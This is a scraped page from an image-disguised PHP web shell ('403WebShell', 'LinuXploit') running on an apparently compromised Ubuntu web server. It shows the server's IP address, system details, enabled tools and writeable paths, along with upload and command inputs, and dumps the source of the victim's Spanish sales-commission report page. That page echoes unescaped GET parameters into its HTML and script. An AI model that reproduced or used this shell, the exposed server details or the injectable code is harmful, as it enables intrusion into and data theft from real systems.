����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.117.189.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/app6/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/app6/core/app/view/sellreports3-view.php
<?php
$clients = PersonData::getClients();
$users = UserData::getAll2();
?>
<section class="content">
<div class="row">
	<div class="col-md-12">
	<h1>Reportes de Comisiones de Vendedores</h1>

<form>
<input type="hidden" name="view" value="sellreports3">
<div class="row">
<div class="col-md-2">

<select name="user_id" class="form-control">
	<option value="">-- VENDEDOR --</option>
	<?php foreach($users as $p):?>
	<option value="<?php echo $p->id_user;?>"><?php echo $p->username;?></option>
	<?php endforeach; ?>
</select>

</div>
<div class="col-md-3">

<select name="client_id" class="form-control">
	<option value="">-- COMISION --</option>
	<option value="1">1 %</option>
	<option value="2">2 %</option>
	<option value="3">3 %</option>
	<option value="4">4 %</option>
	<option value="5">5 %</option>
</select>

</div>

<div class="col-md-3">
<input type="date" name="sd" value="<?php if(isset($_GET["sd"])){ echo $_GET["sd"]; }?>" class="form-control">
</div>
<div class="col-md-3">
<input type="date" name="ed" value="<?php if(isset($_GET["ed"])){ echo $_GET["ed"]; }?>" class="form-control">
</div>

<div class="col-md-1">
<button type="submit" class="btn btn-primary btn-block"><i class="fa fa-file-text"></i></button>
</div>

</div>
<!--
<br>
<div class="row">
<div class="col-md-4">

<select name="mesero_id" class="form-control">
	<option value="">--  MESEROS --</option>
	<?php foreach($meseros as $p):?>
	<option value="<?php echo $p->id;?>"><?php echo $p->name;?></option>
	<?php endforeach; ?>
</select>

</div>

<div class="col-md-4">

<select name="operation_type_id" class="form-control">
	<option value="1">VENTA</option>
</select>

</div>

</div>
-->
</form>

	</div>
	</div>
<br><!--- -->
<div class="row">
	
	<div class="col-md-12">
		<?php if(isset($_GET["sd"]) && isset($_GET["ed"]) ):?>
<?php if($_GET["sd"]!=""&&$_GET["ed"]!=""):?>
			<?php 
			$operations = array();

			if($_GET["client_id"]=="" && $_GET["user_id"]==""){
			$operations = SellData::getAllByDateOp($_GET["sd"],$_GET["ed"],2);
			$operations2 = SpendData::getGroupByDateOp($_GET["sd"],$_GET["ed"],2);
			}
			else if($_GET["client_id"]=="" && $_GET["user_id"]!=""){
			$operations = SellData::getAllByDateOpByUserId($_GET["user_id"],$_GET["sd"],$_GET["ed"],2);
			$operations2 = SpendData::getGroupByDateOp2($_GET["user_id"],$_GET["sd"],$_GET["ed"],2);
			}
			else if($_GET["client_id"]!="" && $_GET["user_id"]==""){
			$operations = SellData::getAllByDateBCOp($_GET["client_id"],$_GET["sd"],$_GET["ed"],2);
			
			}else{
			$operations = SellData::getAllByDateBCOpByUserId($_GET["user_id"],$_GET["client_id"],$_GET["sd"],$_GET["ed"],2);
			$operations2 = SpendData::getGroupByDateOp2($_GET["user_id"],$_GET["sd"],$_GET["ed"],2);
			} 


			 ?>

			 <?php if(count($operations)>0):?>
			 	<?php $supertotal = 0; ?>
<a onclick="thePDF()" id="makepdf" class="btn btn-default" class="">PDF (.pdf)</a>

<a href="./report/sellreports-xlsx.php?client_id=<?php echo $_GET["client_id"]; ?>&sd=<?php echo $_GET["sd"]; ?>&ed=<?php echo $_GET["ed"]; ?>" class="btn btn-default">Excel (.xlsx)</a><br><br>

<div class="box box-primary">
<table class="table table-bordered">
	<thead>
		<th>Id</th>
		<th>Subtotal</th>
		<th>Descuento</th>
		<th>Total</th>
		<th>Cliente</th>
		<th>Vendedor</th>
		<th>Fecha</th>
	</thead>
<?php foreach($operations as $operation):
	$c = PersonData::getById($operation->person_id);
?>
	<tr>
		<td style="width:130px;">
		<a href="index.php?view=onesell1&id=<?php echo $operation->id;?>&sale_id=<?php echo $operation->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a><?php echo $operation->sale_id; ?>
		</td>
		<td>$ <?php echo number_format($operation->total,2,'.',','); ?></td>
		<td>$ <?php echo number_format($operation->discount,2,'.',','); ?></td>
		<td>$ <?php echo number_format($operation->total-$operation->discount,2,'.',','); ?></td>
	<td> <?php if($operation->person_id!=null){
	
		echo $c->name." ".$c->country;} ?> </td>
	<td> 
		<?php if($operation->user_id!=null){
		$c= $operation->getUser();echo $c->name." ".$c->lastname;} 
		?> 
	
		<?php 
		if($operation->id_seller>0){
		$c1= UserData::getById2($operation->id_seller);	
		echo $operation->id_seller."-".$c1->username; 
		}
		?>
	</td>
		<td><?php echo $operation->created_at; ?></td>
	</tr>
<?php
$supertotal+= ($operation->total-$operation->discount);
 endforeach; ?>

</table>
</div>


<h3>Total de ventas: $ <?php echo number_format($supertotal,2,'.',','); ?></h3>



<div class="box box-primary">
<table class="table table-bordered">
	<thead>
		<th>Id Dev</th>
		<th>descripcion</th>
		<th>Total</th>
		<th>Cliente</th>
		<th>Vendedor</th>
		<th>Fecha</th>
	</thead>
<?php 
$supertotal2= 0;
foreach($operations2 as $operationx):
	
?>
	<tr>
		<td style="width:130px;">
		<a href="index.php?view=devolution&id=<?php echo $operationx->id_dev;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a><?php echo $operationx->id_d; ?>
		</td>
		<td><?php echo $operationx->name; ?></td>
		<td>$ <?php echo number_format($operationx->price,2,'.',','); ?></td>
	<td> 
	</td>
	<td>  
	
		<?php 
		if($operationx->id_seller>0){
		$c1= UserData::getById2($operationx->id_seller);	
		echo $operationx->id_seller."-".$c1->username; 
		}
		?>
	</td>
		<td><?php echo $operationx->created_at; ?></td>
	</tr>
<?php
$supertotal2+= ($operationx->price);
 endforeach; ?>

</table>
</div>
<h3>Total de devoluciones: $ <?php echo number_format($supertotal2,2,'.',','); ?></h3>
<br>


<div class="box box-primary">
<table class="table table-bordered table-hover	">
	<th><h4 align="right"><u>Ventas netas: $ <?php echo number_format($supertotal-$supertotal2,2,'.',','); ?></u></h4></th>
</table>
</div>

<script type="text/javascript">
        function thePDF() {
var doc = new jsPDF('p', 'pt');
        doc.setFontSize(26);
        doc.text("<?php echo ConfigurationData::getByPreffix("company_name")->val;?>", 40, 65);
        doc.setFontSize(18);
        doc.text("REPORTE DE VENTAS", 40, 80);
        doc.setFontSize(12);
        doc.text("Usuario: <?php echo Core::$user->name." ".Core::$user->lastname; ?>  -  Fecha: <?php echo date("d-m-Y h:i:s");?> ", 40, 90);
var columns = [
    {title: "Id", dataKey: "id"}, 
    {title: "Subtotal", dataKey: "subtotal"}, 
    {title: "Descuento", dataKey: "discount"}, 
    {title: "Total", dataKey: "total"}, 
    {title: "Cliente", dataKey: "client"}, 
    {title: "Vendedor", dataKey: "vendor"}, 
    {title: "Fecha", dataKey: "created_at"}, 
];
var rows = [
  <?php foreach($operations as $operation):
  ?>
    {
      "id": "<?php echo $operation->id; ?>",
      "subtotal": "$ <?php echo number_format($operation->total,2,'.',','); ?>",
      "discount": "$ <?php echo number_format($operation->discount,2,'.',','); ?>",
      "total": "$ <?php echo number_format($operation->total-$operation->discount,2,'.',','); ?>",
      "client": "<?php if($operation->person_id!=null){$c= $operation->getPerson();echo $c->name." ".$c->lastname;} ?>",
      "vendor": "<?php if($operation->user_id!=null){$c= $operation->getUser();echo $c->name." ".$c->lastname;} ?>",
      "created_at": "<?php echo $operation->created_at; ?>",
      },
 <?php endforeach; ?>
];
doc.autoTable(columns, rows, {
    theme: 'grid',
    overflow:'linebreak',
    styles: { 
        fillColor: <?php echo Core::$pdf_table_fillcolor;?>
    },
    columnStyles: {
        id: {fillColor: <?php echo Core::$pdf_table_column_fillcolor;?>}
    },
    margin: {top: 100},
    afterPageContent: function(data) {
    }
});
doc.setFontSize(18);
doc.text("TOTAL DE VENTAS: $ <?php echo number_format($supertotal,2,'.',','); ?>", 40, doc.autoTableEndPosY()+25);
doc.setFontSize(12);
doc.text("<?php echo Core::$pdf_footer;?>", 40, doc.autoTableEndPosY()+45);
<?php 
$con = ConfigurationData::getByPreffix("report_image");
if($con!=null && $con->val!=""):
?>
var img = new Image();
img.src= "storage/configuration/<?php echo $con->val;?>";
img.onload = function(){
doc.addImage(img, 'PNG', 495, 20, 60, 60,'mon');	
doc.save('sellreports-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
}
<?php else:?>
doc.save('sellreports-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
<?php endif; ?>
}
</script>



<?php else:
// si no hay operaciones
?>
<script>
	$("#wellcome").hide();
</script>
<div class="jumbotron">
	<h2>No hay operaciones</h2>
	<p>El rango de fechas seleccionado no proporciono ningun resultado de operaciones.</p>
</div>

			 <?php endif; ?>
<?php else:?>
<script>
	$("#wellcome").hide();
</script>
<div class="jumbotron">
	<h2>Fecha Incorrectas</h2>
	<p>Puede ser que no selecciono un rango de fechas, o el rango seleccionado es incorrecto.</p>
</div>
<?php endif;?>

		<?php endif; ?>
	</div>
</div>

<br><br><br><br>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit